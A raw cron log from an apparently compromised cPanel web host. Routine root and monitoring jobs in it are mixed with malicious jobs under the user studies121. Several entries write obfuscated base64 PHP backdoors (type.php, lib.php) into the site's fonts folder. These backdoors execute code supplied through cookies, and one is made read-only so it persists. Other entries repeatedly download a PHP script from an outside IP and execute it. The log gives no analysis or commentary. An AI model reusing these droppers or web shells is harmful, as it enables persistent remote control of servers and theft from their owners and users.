Sep 21 22:37:01 ip-184-168-122-23 CROND[29158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:37:01 ip-184-168-122-23 CROND[29159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:37:01 ip-184-168-122-23 CROND[29162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:38:01 ip-184-168-122-23 CROND[29330]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:38:01 ip-184-168-122-23 CROND[29333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:38:01 ip-184-168-122-23 CROND[29332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:38:01 ip-184-168-122-23 CROND[29334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:38:01 ip-184-168-122-23 CROND[29335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:39:01 ip-184-168-122-23 CROND[29444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:39:01 ip-184-168-122-23 CROND[29445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:39:01 ip-184-168-122-23 CROND[29448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:39:01 ip-184-168-122-23 CROND[29451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:39:01 ip-184-168-122-23 CROND[29452]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 22:40:01 ip-184-168-122-23 CROND[29568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:40:01 ip-184-168-122-23 CROND[29570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:40:01 ip-184-168-122-23 CROND[29569]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 22:40:01 ip-184-168-122-23 CROND[29571]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 22:40:01 ip-184-168-122-23 CROND[29572]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:40:01 ip-184-168-122-23 CROND[29573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:40:01 ip-184-168-122-23 CROND[29575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:40:01 ip-184-168-122-23 CROND[29576]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 22:41:01 ip-184-168-122-23 CROND[29713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:41:01 ip-184-168-122-23 CROND[29715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:41:01 ip-184-168-122-23 CROND[29714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:41:01 ip-184-168-122-23 CROND[29716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:42:02 ip-184-168-122-23 CROND[29898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:42:02 ip-184-168-122-23 CROND[29902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:42:02 ip-184-168-122-23 CROND[29901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:42:02 ip-184-168-122-23 CROND[29900]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:42:02 ip-184-168-122-23 CROND[29903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:43:01 ip-184-168-122-23 CROND[30002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:43:01 ip-184-168-122-23 CROND[30003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:43:01 ip-184-168-122-23 CROND[30005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:43:01 ip-184-168-122-23 CROND[30006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:44:01 ip-184-168-122-23 CROND[30109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:44:01 ip-184-168-122-23 CROND[30111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:44:01 ip-184-168-122-23 CROND[30113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:44:01 ip-184-168-122-23 CROND[30114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:44:01 ip-184-168-122-23 CROND[30112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:45:01 ip-184-168-122-23 CROND[30239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:45:01 ip-184-168-122-23 CROND[30240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:45:01 ip-184-168-122-23 CROND[30241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:45:01 ip-184-168-122-23 CROND[30243]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 22:45:01 ip-184-168-122-23 CROND[30244]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 22:45:01 ip-184-168-122-23 CROND[30247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:46:01 ip-184-168-122-23 CROND[30371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:46:01 ip-184-168-122-23 CROND[30373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:46:01 ip-184-168-122-23 CROND[30377]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 22:46:01 ip-184-168-122-23 CROND[30375]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 22:46:01 ip-184-168-122-23 CROND[30378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:46:01 ip-184-168-122-23 CROND[30379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:46:01 ip-184-168-122-23 CROND[30376]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:47:01 ip-184-168-122-23 CROND[30566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:47:01 ip-184-168-122-23 CROND[30569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:47:01 ip-184-168-122-23 CROND[30570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:47:01 ip-184-168-122-23 CROND[30568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:48:01 ip-184-168-122-23 CROND[30719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:48:01 ip-184-168-122-23 CROND[30722]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:48:01 ip-184-168-122-23 CROND[30720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:48:01 ip-184-168-122-23 CROND[30723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:48:01 ip-184-168-122-23 CROND[30726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:49:01 ip-184-168-122-23 CROND[30872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
